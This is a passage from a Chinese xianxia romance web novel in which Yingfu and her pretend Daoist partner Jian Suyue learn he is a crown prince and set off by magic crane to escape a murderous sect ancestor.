“看来是只在我这大胆?”简溯月冷笑,见她站得远远的,又嘲讽道,“你不是觉得这是梦吗?而且你会飞还怕掉下去?”
盈芙恍然大悟,来到他身旁坐下,但她到底没敢把腿垂下去,只是抱着膝坐。
然后她问出那个困扰她已久的问题:“如果是你的话,你想要什么礼物呀?”
盈芙没指望这梦中人的喜好真的是简溯月的喜好,但她实在想不出来了,只好试试能不能从他这里获得点灵感。
简溯月诧异看她:“为什么问这个?”
盈芙苦恼道:“你帮我太多忙了,还送了我很多东西,我总该送点回礼,但我实在想不出来送什么合适。”
简溯月听到她在心里细数:金银灵石?他不缺这些。
法宝名剑?她送的肯定没他送的厉害,而且他也不缺这些。
书籍剑法?这个应该能算投其所好,但问题是,有什么书是云顶宗藏书阁没有的,有什么剑法是他没看过的?
亲手做的针织品,比如剑穗或者遮眼绸带之类的?不好意思,她对针线活真是一窍不通……要做就得先学,但估计做出来也是歪歪的丑丑的,哪怕他愿意戴,她也不好意思让他戴。
也许最好的礼物是并蒂芙蓉誓的解法,但都说是无解的,他自己去藏书阁翻了那么久也没找到,她能去哪找?
盈芙抱住脑袋,头疼叹气:已经想了好几天了,真的想不出来哇。
简溯月望着她,许久没说话。
盈芙捉住他的袖角晃了晃,催促道:“快点想呀,你缺什么,或者想要什么?”
“我什么都不缺。”简溯月懒懒道。
盈芙早猜到这个答案,但仍难免失落。
简溯月瞥她一眼,忽然道:“等等,好像还缺一样。”
盈芙顿时两眼发光地望着他,却见他勾起唇角,悠悠笑道:“缺你。”
盈芙一愣,脸颊瞬间红了,她松开他的袖子,又拍了下他的胳膊,羞恼警告道:“别胡言乱语!”
简溯月嗤笑:“没胡言乱语,我日子过得太清净舒服了,就缺个能气人闹人的在身边。”
盈芙:“………我掐鼠你!!!”
她气得抬手掐向他脖颈,简溯月一愣,目含警告地看向她,盈芙正在气头上毫无察觉。
他蹙眉:她没有杀意,但她不该对他做这个危险的动作。
作为世人口中的可怕魔头,他应该立刻杀了她,让她灰飞烟灭,让她知道她不该招惹他……
但下一瞬,她又暖又软的手虚虚环在他脖颈上,浅浅荷花香随之而来。
他用眼尾扫了她一眼,干脆放松下来,甚至微微仰头,由着她掐,反正她这力度跟撒娇一样。
他斜眼看她,讥笑挑衅:“掐呀,用力点,就这点力气也想掐死我?”
他说话之间,喉结滚动蹭到她的手指,他僵住,盈芙也像被烫了一下,快速收回了爪子。
“你是猫,我掐不鼠你。”盈芙没好气地道,扭头看向没有他的一边,抱着胳膊气恼道,“但你以后别来我梦里!”
“既是
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梦,就是你梦见我,还能怪我来?”简溯月悠悠望着她气鼓鼓的侧影,抬手抚摸脖颈,不由自主地回想起方才她手指的温度和她手上的浅浅花香。
盈芙心想太坏了,这个简溯月怎么能这么坏!!!她宣布,他不是好猫猫了,他是只坏猫!!!
简溯月听见她心中声音,轻嗤:“我到底哪里像猫?”
盈芙想了想,总结道:“容易炸毛,喜欢挠人,神出鬼没,傲娇别扭,这太猫猫了。”
简溯月凉凉道:“你的眼神彻底没救了,你去问问那些被我杀的,哪个会觉得我像猫。”
盈芙心道都被他鲨了她还去哪问。
……竟很有道理。
简溯月不想再跟她争辩这个像不像猫的无聊问题,散漫道:“礼物你随便送就好了。”
他有种不妙不爽的预感,不管她送的什么礼物,那个傻乎乎的二十岁的自己应该都会高兴的,更何况她用了这么多心思。
然后盈芙眼前一黑,再次睁开眼后,看到熟悉的藕粉色床帐,才意识到梦境结束了。
她侧头看向一边:床边是新搬来的屏风,一道修长端庄的身影映在荷花屏风上,仿佛一池荷花的守护仙,令人格外安心。
刚才果然是梦啊。她放松下来,困意再次上头。
不过她怎么老是梦到那么暴躁蔫坏的简溯月?不但喜欢吓唬她,还耽误她睡觉。
她又小眯片刻,才坐起身,整理好衣服和头发,走出屏风。
屏风外,简溯月浮空打坐,膝上横放着无鞘的莹莹生辉的灵剑。
见她出来,他收起长剑,翩然落地,询问:“休息好了吗?”
“休息很好!”盈芙说着,却转身取回枕边荷花簪,而后重新出来,将簪子递给他,“不过这个我得还你。”
不得不说,有这荷花簪在一边,她安全感满满,睡得特别香,但这到底是他本命灵剑的剑鞘所化,她不敢收。
简溯月却没有伸手接,只道:“已经送你了。”
盈芙无奈:“你送的时候也没说这是你本命灵剑的剑鞘呀,这么重要宝贵的东西,我收不起。”
简溯月微微侧过头,白玉般的面庞上飞了层薄薄红霞,似有些被戳穿的羞涩。
但他毫不犹豫地道:“你当然可以收,这些时日,你因我被长老掌门和师祖迁怒为难,它不能弥补万分之一。而且有它在,我能随时到你身边,这样才能保护好你。”
盈芙想起今天差点吃下那枚毒药时的情景,仍是心有余悸,这枚簪子确实很有用。
“那……我先收下,待以后我们安全了,不用再假装道侣了,我就把它还给你!”
简溯月沉默了许久,仍是固执道:“送出去的礼物,没有再收回来的道理。”
盈芙有点头大:“可是剑怎么能无鞘?”
“那把剑也给你。”简溯月轻描淡写地答道。
盈芙一个激灵,她感觉他没在开玩笑,顿时不敢再拒绝,赶忙道:“剑鞘就够了!”
简溯月满意点头,又道:“我昨晚收到了一封信,父皇说要为我补办冠礼和婚礼,让我与你一同回去一趟。胤国离云顶宗很远,应该比较安全。”
盈芙:“……?”
等会,父什么,什么皇??
22. 第 22 章
“你不知道吗?”简溯月惊讶问,“我是胤国的太子。”
盈芙:“???”
有人跟她说过吗?没有。他自己也是第一次提起哇。
她震惊地望向简溯月:不是,他怎么真有皇位要继承啊??
之前誓心仪式上,他父母没来,由他师尊代替,她还以为是他父母双亡,怕引他伤心就没有问……
谁能想到他爹娘不是亡了,而是王了啊?!
简溯月:“抱歉,是我疏忽了,我以为你知道,就没有向你介绍过我的凡界身份。我虽是胤国太子,但自出生便被带到了云顶宗修炼。”
他的凡界身份在修仙界不是一个秘密,在他小时候,还时不时会被人调侃:“你怎么不回家继承你的皇位去?”
但自他十四岁第一次拿了仙盟大比的第一名后,再没人问他这个问题。
盈芙同情地看他:这也太惨了。
“那你回家过吗?”
简溯月:“回去过一次。”
才一次吗?!盈芙震惊后连忙安慰他:“那这次回去多住些时日!”
简溯月微笑点头:她关心他,只是她不知,他唯一回去的一次,并不愉快,他从此再不想家,与那边的联系是按年来算的。
“这是册封太子妃的圣旨。”简溯月手中浮现一卷明黄圣旨,递给她,“我们成为道侣时,我传信告诉父皇母后了,但是胤国距此太远,我们不方便过去,他们也不方便来,连册封的圣旨和这封信也是昨晚才到。”
盈芙心道那是真的很远了,这已经多少天了?
她接过圣旨,有点期待地打开一看,却发现上面的名字写的是“玄盈芙”。
她现在看到玄字就有点膈应,但这是她现在名义上的姓,没办法。
“需要把玄字去掉吗?”简溯月问,他“看”到,她在对着那个玄字皱眉。
盈芙立刻点头,又忍不住惊讶:“你也会读心术了?”
简溯月伸出手,指尖点在玄字上,再抬起时,玄字消失了。
“不是读心术,是看出来了。而且并蒂芙蓉誓上,你只写了盈芙。”简溯月看似漫不经心地问,“为何你刚刚说‘也’?谁会读心术?”
修仙界的正道仙术中并无读心术,在魔道中也只有读魂术,读心术只存在于传说之中。
他便当有人天资卓越,能将读魂术变成读心术,但此人随意读取别人心中想法,应该并非正道之人。
她难道认识魔道中人?
她如何会认识魔道中人?
而且她方才随意脱口而出,可见她与那魔道中人颇为熟悉,甚至对他的读心术习以为常,她难道经常见到此人?
简溯月越想越疑。
盈芙一阵心虚,连声道:“口误,口误!”
总不能说她经常梦到一个爱挠人易炸毛版的他吧?
简溯月静静“看”着她,见她不愿说,更确定了她与此人关系匪浅。
再继续问,也许会让她警惕起疑。
他牢牢记下这个人,留待下次试探,暂且换回之前的话题:“你愿意与我一同去趟胤国吗?”
盈芙在心中松了口气,毫不犹豫地答道:“愿意!”
拜托,这边有个师祖盯着要她和他的命呢,这么好的离开机会当然不能错过!
简溯月却道:“你再考虑一下,胤国很远,而且那边灵气不如这边充盈,我的父皇母后其实……”
话到一半,他却沉默了。
盈芙猜到这俩人怕是有点问题,但毫不在意:“我又不是为了他们去的,到时候找理由少见几面就好?至于路途远,说明能看的风景多呀。灵气稀薄也没什么关系,反正我现在学的那些入门课程也用不了多少灵力。”
但她忽然想起简溯月:“灵气稀薄会影响你修炼吗?”
简溯月:“影响不大。既然如此,那便一起去一趟,你想何日出发?”
盈芙:“越早越好?”
简溯月颔首:“那我去做些准备,快的话今晚就能出发,我回来前,你别离开栖月宫,有情况可以用簪子联系我。”
盈芙点头应好,简溯月身影消失。
盈芙觉得她也该做些准备,毕竟是出远门,首先要跟爹娘报备一下。
盈芙用水镜与夏明梦联系,夏明梦仿佛守在家里的水镜旁,两边的水镜立刻便接上了。
水镜中泛起涟漪,显出夏明梦的模样,她激动问:“怎么样?没去晚吧?月月赢了吗?”
盈芙心虚应道:“没去晚。”卡点到的。
“赢了。”不过被小心眼师祖列入必杀榜了。
夏明梦不知道她省略的后半句,长长松了口气,笑道:“那就好,虽然掌门没公布比试结果,但我就猜是月月赢了。”
盈芙不满哼哼道:“可不是,要是那位师祖赢了,玄家得敲锣打鼓地庆祝。”
水镜中传来她爹不满的声音:“这话说的,你也是玄家人啊。”
“……嗨呀,不管哪边赢了,都是我们的宝赢了。”夏明梦开心笑道,“别管你爹。”
盈芙点了点头,忽然有些犹豫,要不要把师祖想给她下毒,还有想杀溯月的事告诉爹娘?
说了怕他们担心,但不说,又怕他们哪天不知不觉地也被师祖算计进去了。
盈芙犹豫了一下,决定还是说,到底是保命要紧。
“娘,爹,我和溯月……可能被师祖盯上了,你们一定要多小心。”
夏明梦脸上的笑意消失:“芙芙,你这是什么意思?”
盈芙叹气:“那个师祖输了后,就对溯月起了杀心,还想给我下毒。”
盈芙说着,看夏明梦脸色陡然变化,连忙道:“放心放心,溯月救了我,我没吃那毒药!”
夏明梦猛地松气,又把玄流年从旁边拽过来掐他胳膊,愤愤道:“看看你们玄家师祖干的事!心眼怎么那么小!输了场比试就要害我们芙芙和月月!”
玄流年也气得掐自己另一条胳膊:“玄家怎么有这样一个师祖!这么输不起!”
盈芙被他俩逗笑了,笑完又低声道:“爹,娘,抱歉,给你们惹麻烦了。”
“不怪你们,你和月月哪里都没做错。”夏明梦叹气道,“但是那位是玄家师祖啊,他要是对你们起了杀心,可怎么办是好?”
玄流年也发愁叹气。
盈芙小声道:“我跟溯月打算去趟他老家胤国,胤国离这里很远,应该安全,对了,你们知道吗?他居然是一国的太子!”
盈芙觉得自己揭开了一个惊天秘密,却见夏明梦平静点头:“知道啊,二十年前,掌门连夜去凡界,把胤国的太子带了回来,还收为亲传徒弟,当年可轰动了。”
玄流年诧异问盈芙:“你难道不知道吗?你妹妹都知
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道这事。”
盈芙:“……”行叭,真的只有她不知道。
玄流年又叹道:“芙芙,他虽然是胤国太子,但胤国实在太远了,要不你回咱们家吧,你到底姓玄,你今天是被月月牵连了,只要你离月月远点,师祖应该不至于非要杀你。”
夏明梦赞同道:“你爹说的有道理,月月若是为你考虑,应该会理解同意的。”
盈芙知道他会理解同意,但是……
“爹,娘,我不想也不能牵连你们和妹妹。”
盈芙严肃认真道:“而且就算我留下来了,那位师祖喜怒无常,阴晴不定,未必会因为我姓玄就不对我痛下杀手,我的处境还是很危险,还会把危险带给你们。”
夏明梦心疼地看着她。
玄流年擦了擦眼角的泪:“都是爹无能……”
“不怪爹,都是那位师祖的错。此外,我也不想让溯月一个人面对这些事。”盈芙轻轻叹气。
她知道,在这云顶宗,简溯月没什么亲人朋友,只与他师尊关系近些,可他师尊玄青岚……
升仙宫中,玄青岚望着简溯月冷笑:“你竟还敢来见我?!”
简溯月平静反问:“为何不敢?”
“你看看你今天都干了什么!”玄青岚气得把茶杯砸在桌上,指着他道,“比试中你让师祖颜面尽失!你还敢擅闯师祖宫殿,忤逆师祖,不告而别!简溯月,你是想跟玄家为敌吗?”
简溯月淡淡道:“弟子不愿。”
不是不敢,不是不能,只是不愿。
玄青岚被他气笑了:“你真是长大了,翅膀硬了,玄家你都不放眼里。”
“弟子并无此意。”简溯月提醒他道,“师尊,你不仅是玄家人,更是云顶宗的掌门。”
“我若不是玄家人,我根本就不会是云顶宗的掌门!”玄青岚怒声说完,就意识到自己不该说这个。
他收声沉默片刻,又忍不住道:“你不懂,我天赋平平,修为一般,若非足够忠于玄家,师祖根本不会选我当掌门,你倒好,一天之内把师祖得罪了个彻底!”
简溯月神色平静:“那依师尊看,我应该坐视我的道侣被伤害?我应该故意输给师祖?”
“你当然应该!”玄青岚毫不犹豫道,“玄盈芙算什么?值得你得罪师祖?跟师祖的比试你更应该输!至少不能赢成那样啊……你就不能稍微收敛些吗?!”
“已经收敛了。”简溯月淡淡道。
玄青岚想起他闯进宫殿时,玄曜辰评价他那句“你还真是深藏不露”,顿时哑口无言。
简溯月又道:“玄盈芙是我的道侣,我救她无错。错在师祖,他不该算计她。”
“你!你!”玄青岚被他气得头嗡嗡的,他深深吸了口气,又猛喝一口茶,才缓过神,冷笑道,“以前真没看出你还是个情种,连本命灵剑的剑鞘都能给她当簪子。”
简溯月认真答道:“弟子并非情种,但她既是我道侣,又受我牵连,保护好她是我应该做的。”
玄青岚闭上眼,不想再看他:“你气死我得了,你今天来这就是专门来气我的?”
“父皇来信,让我回去一趟。”简溯月取出信递给他。
无论师尊同意与否,这次牵涉到她的安危,他都会带她离开,无非方式不同罢了。
玄青岚快速扫了眼信,默然良久才道:“此事我需要禀告师祖。”
23. 第 23 章
简溯月:“……师尊,你才是云顶宗的掌门。”
玄青岚摇头叹息:“你什么都不懂,这云顶宗真正的掌门其实是师祖,我只是他选来帮忙处理日常事务的,你在这等着,我去问问师祖,看他让不让你回去。”
玄青岚说完便离开。
简溯月沉默静立:明明早猜到这个结果的,他还在期待什么。
也许他不该来的,但他若不来,直接带着她离开,在玄家眼中,便是他彻底与玄家决裂了,这或许会让那位师祖更加无所顾忌,给她带来更大的危险。
而且她究竟是玄家人,与玄家为敌对她弊大于利,或许还会令她与她的爹娘妹妹难以团圆,他看得出,她很喜欢她的家人们。
为了她,他必须来一趟。
盈芙望着她的家人们,目光坚定:“我会与他同去胤国。”
一来为了不牵连家人,二来也为了他。
溯月这些时日帮了她不少忙,她虽然只拿他当假道侣,但已经把他当成了真朋友。
正是朋友的危难关头,尤其他爹写信让他回去补办婚礼冠礼,她哪能弃他而去,让他孤零零地回去,这太不义气了。
夏明梦静静望了女儿好久,才终于同意:“芙芙去胤国要保护照顾好自己,我们这边你不用操心,你爹也该去实现梦想了。”
玄流年一愣,瞬间抱住夏明梦的胳膊,两眼放光地问:“夫人你终于同意了吗?!”
“嗯。”夏明梦点头,摸着下巴道,“其实想想也挺好的,咱们找个离云顶宗远远的地方建个新门派,你当掌门,我当掌门夫人,芙芙和桃桃就是掌门之女了,也没什么内门外门嫡系旁系了,不用被你那些亲戚们坑了,活个舒服自在,以后芙芙和月月回来,也有个能安心落脚的地方了。”
“是啊!!”玄流年高兴地亲了夏明梦脸颊一口,“还是夫人明智!”
夏明梦“噫”了一声,把他推开,状似嫌弃道:“好好说话别来这一套,咱们是成亲七十年了,不是刚成亲七年。”
玄流年嘿嘿傻笑。
盈芙也跟着笑,心里轻松很多。
夏明梦又叮嘱盈芙:“你跟月月一定要注意安全,多带点保命的法宝,能解毒治伤的灵药,尤其是那种能解很多种毒的通用灵药。对了,还有金银,凡界不怎么用灵石的,你们多带点金子银子,有什么事随时联系我跟你爹。”
盈芙连连点头应下。
玄流年又问:“你们打算什么时候走?我去给你们送点金银?”
“也许是今晚,不用啦这边应该不缺。”盈芙后知后觉地发现,也许要很久不能当面见到她的家人们了。
虽然穿过来的时间不长,但她已经真的把他们当家人了。
夏明梦面露惆怅,但随即笑道:“早点出发好,省得夜长梦多,那师祖下手也太快了……咱们总会有再见面的时候,平时想我们了就用水镜联系。”
盈芙:“好!”
待水镜结束后,盈芙把殿门打开一条缝,探头探脑地看了一下,确定外面没人,才飞快地飞到偏殿,找到雪团,询问它想不想跟她一起去胤国。
雪团顿时跳到她怀里,爪子紧紧抱住她的手臂,连尾巴也缠了上来,激动喵喵道:“人!你去哪我就去哪!我们已经结了契约的喵!”
盈芙把它举起来转圈圈,开心道:“好!咱们一起去!”
盈芙抱着它回到正殿,开始收拾东西,雪团就在一旁追自己的长尾巴玩。
盈芙时不时含笑看一眼,很快就把东西收拾完了:有储物香囊在,收拾东西便捷极了,而且其实没太多要收拾的,许多细软平时便放在储物香囊中。
不过,简溯月还没回来。
盈芙试着通过并蒂芙蓉印感受他的心情:嗯,心情几乎跟平时一样平静,应该问题不大。
简溯月也在通过并蒂芙蓉印感受她的心情:她现在的心情似乎还算不错。
只是有点小小的烦恼,烦恼中还有些许期待。
大概就像傍晚时,她在摇椅旁的几案上摆好她今天的甜点和果汁,然后懒懒地窝进铺有厚厚毯子的摇椅上,对着窗外的白雪与晚霞,翻看几本新买的话本,纠结哪本最精彩,要从哪本看起。
他的心忽然也宁静温柔下来,仿佛已经看到她因纠结微微蹙起的眉头,看到她随手拿起果汁啜饮,看到她的脸颊因此微微鼓起又落下。
他通过并蒂芙蓉印静静感受着她心情的起伏,一开始是为了确保她的安全,后来却像一叶小舟,在她风和日丽波光粼粼的心海上随波航行。
直到书房的门被打开。
玄青岚回来时心情明显变好,还对他摆了摆手:“你回去吧,师祖同意了。你多回去一段时间,别急着回来,中间最好少修炼些,多退步些。”
简溯月:“…………”
不修炼是不可能的,退步是更不可能的。
师祖已经虎视眈眈杀意凛然,不修炼或者退步了如何保护好她?
“不过胤国很远啊,不但远还灵气少,玄盈芙愿意与你过去?”玄青岚好奇问。
简溯月嘴角扬起一点弧度:“嗯,她愿意。”
玄青岚又觉得眼疼了,他坐回座位,闭上眼叹道:“你们俩倒是挺有缘的,而且在不识时务上相当般配,去吧去吧去私奔吧。”
简溯月顿时严肃道:“我与她是经过誓心仪式,拜过天地与父母,许下并蒂芙蓉誓,由天道见证祝福的道侣,此番是去见我父母,何谈私奔。”
玄青岚幽幽问:“这时候觉得并蒂芙蓉誓好了?”
简溯月耳尖微红,转移话题:“另外,关于她送我的山峰,我想换一座。”
“你要换哪座?”玄青岚有种微妙的预感:难道是明心峰?这是离冰荷峰最近的一座无主山峰。
“明心峰。”简溯月毫不犹豫道。
“……我就知道。”玄青岚无语笑了:“只要离她够近,别的什么都行是吧?你还说你不是情种?”
“当然不是。”简溯月脸颊飞红云,但他看似冷静地解释道,“不过是比较熟悉那边的环境罢了,而且方便我给她上课。”
玄青岚露出一种“我都懒得拆穿你”的看透一切的眼神,而后长长叹气:“行吧,记得少修炼多退步啊。”
简溯月敷衍应了一声,“看”着玄青岚改好名册上的峰主名字后,便离开了升仙宫,径直返回了栖月宫,回到了她身边。
她竟真如他方才所猜,窝在铺有软毯的摇椅上,捧着一本书看。天边橘红色晚霞染遍山
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巅白雪,洒满宫殿窗台,又朦胧了她的侧脸,如此温柔而宁静。
他不知不觉间放轻了呼吸,她却不知如何察觉到他回来了,蓦然回首望向他,眼睛陡然亮了亮,似有烟花绽放其中,令那愈发朦胧的晚霞也无可奈何。
“你回来啦!”她放下书,欣喜道,眸中倒映着他的身影。
“嗯,我回来了。”简溯月的声音是他不自知的温柔。
“没遇见什么危险吧?”盈芙关心问着,将他上下打量:仍旧一身白衣胜雪,未染半点尘埃,应是无事。
“没有。”简溯月答着,走近她,无视掉那只炸毛躲远的追雷饮雪兽,神识悄无声息地,一寸寸地描摹过她的脸庞,最后停留在她清澈明亮的眼眸中,几乎想融于其中。
而盈芙见他走过来,却慌张地合上了书。
简溯月步伐一顿,神识扫过她手中的书,这才发现她在看的不是话本,而是……《常用基础仙术》?
她竟会主动看课本?这还是破天荒的第一次吧?难道她担心离开云顶宗后会遇见危险,主动学习术法防身用?
简溯月心头一沉,意识到这次离开云顶宗还是让她担心了。
她原本可以在父母身边好好的,没有任何危险的,不必长途跋涉,都是因为他的牵连……
盈芙见他似乎忽然不开心了,小声解释道:“我在预习。”
简溯月不语不信:她的心虚藏都藏不住,而且第一章还没学完,她这都预习到最后一章了?
不对,这样的阅读速度,她不是在学,更不是在预习,而像是想从这书里查找什么。
《常用基础仙术》里能有什么?
盈芙还在努力给自己圆谎:“你别不信呀,我、我突然好学了不行吗?”
简溯月点头,状似温和地同这个小骗子道:“既然如此好学,以后每天上两节课吧。”
盈芙:“!!!”两节课,那不就要两个时辰了吗?!
她尴尬一笑,连连摆手:“嗨呀,这好学只是一时兴起……试一试就发现,还是话本好看……”
她趁机把课本放回几案上,拿起她的话本,充满期待地望向简溯月,明示道:“还是每天一节课吧?”
简溯月嘴角不自觉扬起一点弧度,又被他迅速压下去。
他故作严肃道:“不行,两节课。”
盈芙一声呜咽,绝望地趴到了摇椅扶手上,有种搬起石头砸自己脚的感觉。
她的头顶忽然被人轻轻揉了下。
盈芙茫然抬头望去,简溯月假装镇定地收回手,垂首温声道:“但如果你告诉我,你在找什么,就还是一节课。”
盈芙:“……!”
他给的条件太有诱惑力了。
可这是她好不容易想出来的回礼灵感,哪能现在暴露。
盈芙咬了咬牙,艰难道:“那就两节课吧。”她真是豁出去了。
不过话又说回来,他怎么知道她是在找东西???
盈芙惊讶,简溯月更是惊讶:她这究竟是在找什么,甚至宁愿每天多上一节课也不松口。
他“望”着她黯淡无光的眼睛,备受打击的模样,沉默片刻,又改了条件:“或者告诉我,那个会读心术的是谁,也可以恢复一节课。”
24. 第 24 章
盈芙:“!!!”这个更是绝无可能!
她要是暴露了那只爱挠人的猫猫,岂不是说明她经常做梦想他?
盈芙红着脸颊,把脑袋摇成了拨浪鼓。
简溯月:“……”她怎会是这个反应?!
她难道竟心仪那个魔道中人?!
他心海中骤然乌云密布,黑浪翻滚滔天。
“你心仪此人?”他不自觉地攥紧了手,声音甚至微微发颤。
盈芙一愣,拨浪鼓晃得更快了:“没有没有!”
她时刻提醒着自己,只是与简溯月假装道侣,以后说不定哪天就分开了,她哪里敢真的喜欢上他,这不是给自己找罪受吗。
盈芙话音一落,简溯月心中刚还沸腾翻滚的浪涛瞬间归于平静。
他细细观察她的神色,反复确认她是真心说这句话的,方才将近墨色的浪涛逐渐变得清澈透明。
罢了,也许只是她的朋友。
简溯月心情一好,声音也温和起来:“出门在外容易疲惫,还是一节课吧。”
他本就不打算改成两节课,只是想知道她在找什么,以及试探下那个可疑之人罢了。
他如今补偿她还来不及,哪里舍得真的让她为难发愁。
他说着,神识全然落在她的眼睛上,期待着。
她的一双杏眼果然重新恢复神采。
他的心海也随之风和日丽。
盈芙欢呼一声,开心道:“谢谢师尊!为了我们都不那么辛苦,还是一节课就好!”
“我不是你师尊。”简溯月声音不悦。
为何她与那朋友如此亲近,却与他如此生疏。
盈芙怕他生气改主意,不再逗他,丝滑哄道:“好好好,不是师尊。”
简溯月仍有不满,他觉得还缺了点什么。
他忽然想起那次喝醉后,他能直白问她:“你是我的道侣还是徒弟?”
她答,是道侣。
……也许酒还是有些好处的。
不,他与她只是假装道侣,这样的错误不能再出现了。
他压下心中莫名的空落,却见盈芙从摇椅上站起来,理了理裙子又伸了个懒腰,期待问:“我都收拾好啦,咱们立刻出发?”
简溯月却道:“也可以明早出发,你今晚好好休息。”
盈芙:“哎?可是师祖万一今晚再下手……”
“应该不会。”简溯月将方才的事告诉了她,“师祖同意了我们离开,也许是不打算再动手,又或者是想在我们离开云顶宗后再动手,今夜应该是安全的。”
就算不安全,他也会守在她身边,护她毫发无伤的。
盈芙犹豫了一下,却还是想今夜离开:她太想尽早远离那些内门长老和掌门师祖了,而且那个师祖不但危险还脑子有病,根本不按常理出牌。
“对了,我们要怎么去胤国呀?”盈芙忽然想起来交通工具的问题,如果是乘鹤车的话,她也许能在车上睡,那便不用再犹豫了。
却见简溯月忽然抬手,把躲在远处偷瞄的雪团瞬间隔空抓了过来:“用它。”
盈芙:“?”
浮空的雪团:“???”
“追雷饮雪兽速度极快。”简溯月淡淡道,“喂了它这么多时日,也该让它发挥点作用了。”
雪团炸着毛,气呼呼地瞪他:这个狠心的人!那么远的路,想累死它吗!
它早觉得他嫉妒它,现在它有证据了!
它扭头望向盈芙,柔弱可怜地喵了两声,仿佛自己只是一只无辜无助的小猫咪。
简溯月:“……”他早觉得它不是什么安分的猫,果然。
盈芙看看柔弱无助的雪团,又看看脸若冰霜的简溯月,再次左右为难。
她不想让简溯月不开心,但也不忍心让雪团劳累:“路那么远,它那么小……”呃,好像其实也没有太小,她想起它那个原身,上面载俩人绰绰有余。
简溯月面无表情,一言不发,转身就往宫殿门口走,背影在摇曳的烛光中显得格外孤独可怜,引人怜惜。
某条咸鱼不知不觉就上钩了。
盈芙小跑着追上他,拉住他的袖子连声唤他:“溯月溯月……”
据她经验总结,某位天才生气时虽然看似面若冰霜,说走就走,超级难哄,但其实只要他没有原地消失,那就代表着可以哄,而且很有希望哄好。
他哪都好,就是不知道为何老是跟一只猫较劲怄气,这好像已经不止是因为他不喜欢猫了。
难道是因为他自己也是一只猫?猫跟猫要争老大?
盈芙被这个念头逗得想笑,但此时一点都不敢笑,只能庆幸眼前这个简溯月没有读心术,要不然就更难哄了。
简溯月任她拉着袖子,步伐虽然慢了不少,但还在走。
眼看他就要走到宫殿门口了,盈芙灵光一动,想出一个绝妙的理由:“溯月,我还是想今晚走,我太想立刻离开云顶宗远离那个师祖了,但我们要是乘雪团出发的话,我今晚没法睡呀。”
简溯月停下脚步,不假思索地道:“那便不乘那无用的追雷饮雪兽了,我们誓心仪式时,机巧阁送来了一只载阁白玉鹤,鹤身上有阁楼可供人休息,可乘此鹤,或者直接用千里一步抵达胤国。”
盈芙:“……?”等会,他为何回答地如此丝滑流畅?仿佛早就准备好了这两个可靠方案。
那刚才他先提起最不靠谱的雪团方案是在?
总不会是为了试试她会不会偏心雪团,并且气一气雪团吧……
盈芙摇头,把这个荒谬的念头甩走,毫不犹豫道:“乘鹤吧!”
她今天找法术翻看《常用基础仙术》时,在最后一章看到一些知名法术的简介,才知道千里一步极难领悟,而且消耗极大,像简溯月这样用这法术如喝茶的在修仙界里怕是找不出第二个。
但是胤国那么远,用这法术必然消耗巨大巨大,还是乘鹤吧。
“这样还能看看途中的风景!”盈芙期待地道,“不过乘鹤的话需要多久才能到胤国?”
简溯月:“若是昼夜不停,至少需要三天三夜。”
盈芙心道也还好。她拿出装有贺礼的锦鲤纹储物香囊,试图找到那只白玉鹤,然而神识一探入储物香囊,就被里面不计其数的贺礼晃得眼花,脑中只剩一个念头:
这香囊真能装啊……
虽然简溯月之前已经分门别类
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地整理过那些贺礼,但此刻让她从里面找一只鹤,跟大海捞针也区别不大。
盈芙干脆把装有贺礼的储物香囊递给他:“溯月,你能帮我找找那只鹤吗?”他整理过这些东西,应该对它们的位置还有印象。
简溯月一动不动,仿佛在等什么。
盈芙踮起脚凑到他耳边小声道:“溯月你人最好啦,聪明厉害还大度热心,雪团那只小懒猫哪能跟你比呀,帮帮我嘛。”
简溯月感受着耳畔颈间来自她的温热气息,听着她的悄悄话,脸颊渐红。
他不敢回头让她看到自己脸上的绯云,只是看似冷淡地“嗯”了一声,微微侧身抬手点了一下她掌间香囊。
而后他翻转手腕,手中多了一只千纸鹤大小的白玉鹤,那鹤背上竟有拇指大小的一座精巧阁楼。
盈芙好奇地睁大了眼睛,凑近观察,又见那只白玉鹤扇了扇翅膀,落到地面上,渐渐变成了一只正常鹤的大小,背上的三层阁楼跟着变大,像一个玲珑的八音盒。
简溯月:“你试试用手碰一下那阁楼。”
盈芙照做,感觉眼前景色陡然一变:她来到了一个完全陌生的房间,屋中摆设着雅致的茶桌屏风香炉与古琴——这古琴甚至还会自己奏曲。
这是哪?难道是阁楼里吗?
她茫然四顾,忽然听到了一声浅浅的笑,从阁楼外的上空传来。
……那朵高岭之花竟然笑出了声?还是在他生气的时候?!
盈芙惊讶之余又有些好奇:是什么能让他心情瞬间变好?
她顺着声音,绕过花鸟屏风,奔到阁楼回廊上,一抬头却震惊发现:简溯月变得像山一样高!
虽然她之前就觉得他的背影颇有山的沉稳巍峨,但他怎么突然变得那么高?!
而且周围的博古架和桌子也都变得好高好大,不远处的雪团也变成了巨兽,不过它毛茸茸的没什么威压,只是从小可爱变成了巨可爱。
看来变小的是她,这阁楼居然能让人变小!
盈芙惊讶后颇觉新奇好玩,扶着回廊栏杆左顾右盼,忽然发现身边的“山”落了下来:
简溯月单膝跪下,将手掌送到了她身前,仿佛邀请。
盈芙望着他的手,心中一动,兴致盎然地飞过回廊栏杆,落到了他温热的掌心上。
她望着掌心周围的五根修长手指,惊觉自己现在的高度竟还没他的一节指骨长,他的手掌于现在的她而言像一片宽阔广场。
再一细看这“广场”,她又发现在他的手掌边缘与指节上覆着一层薄茧,可见他平时没少练剑用剑。
她试着在“广场”里走动起来,感觉像走在软乎乎的白玉上一样,一踩一个小坑,虽然容易摔倒但十分有趣。
而简溯月感觉掌心痒痒的,心也痒痒的。
他忍住想要将她拢在掌心的冲动,小心珍重地捧着她,像捧着世上独一无二的珍宝。
不过离开这阁楼后,变小作用是有时限的。
但他期待这一刻很久了。
盈芙忽觉眼前一阵天旋地转,回过神时,简溯月的面庞近在上方咫尺,她甚至能感觉到他的温热呼吸,听到他凌乱快速的心跳声——就在她耳边。
25. 第 25 章
盈芙缓缓意识到,自己已经恢复了原本的大小,现在被他用双臂托着背部与腿弯,横抱在他怀里。
“我……抱歉……”她红了脸颊,想从他怀里站起来,却感觉有一瞬间,他好像抱得更紧了。
……是错觉吧?
……可他怎么还没松手?
“不必抱歉。”简溯月的声音有些低哑。
他闻着她身上的浅浅花香,感受着她的温热与柔软,连神识也紧紧拥抱着她,迟迟不肯松开。
他等待这个名正言顺的拥抱机会太久了。
他心道该抱歉的是他。
可他因了那不该有的心思,连道歉都无法说出口。
他甚至还想将她抱得更紧些,现在这样的横抱动作于他而言堪称饮鸩止渴,但她的眼中已经浮现出了疑问。
已经抱了太久了……
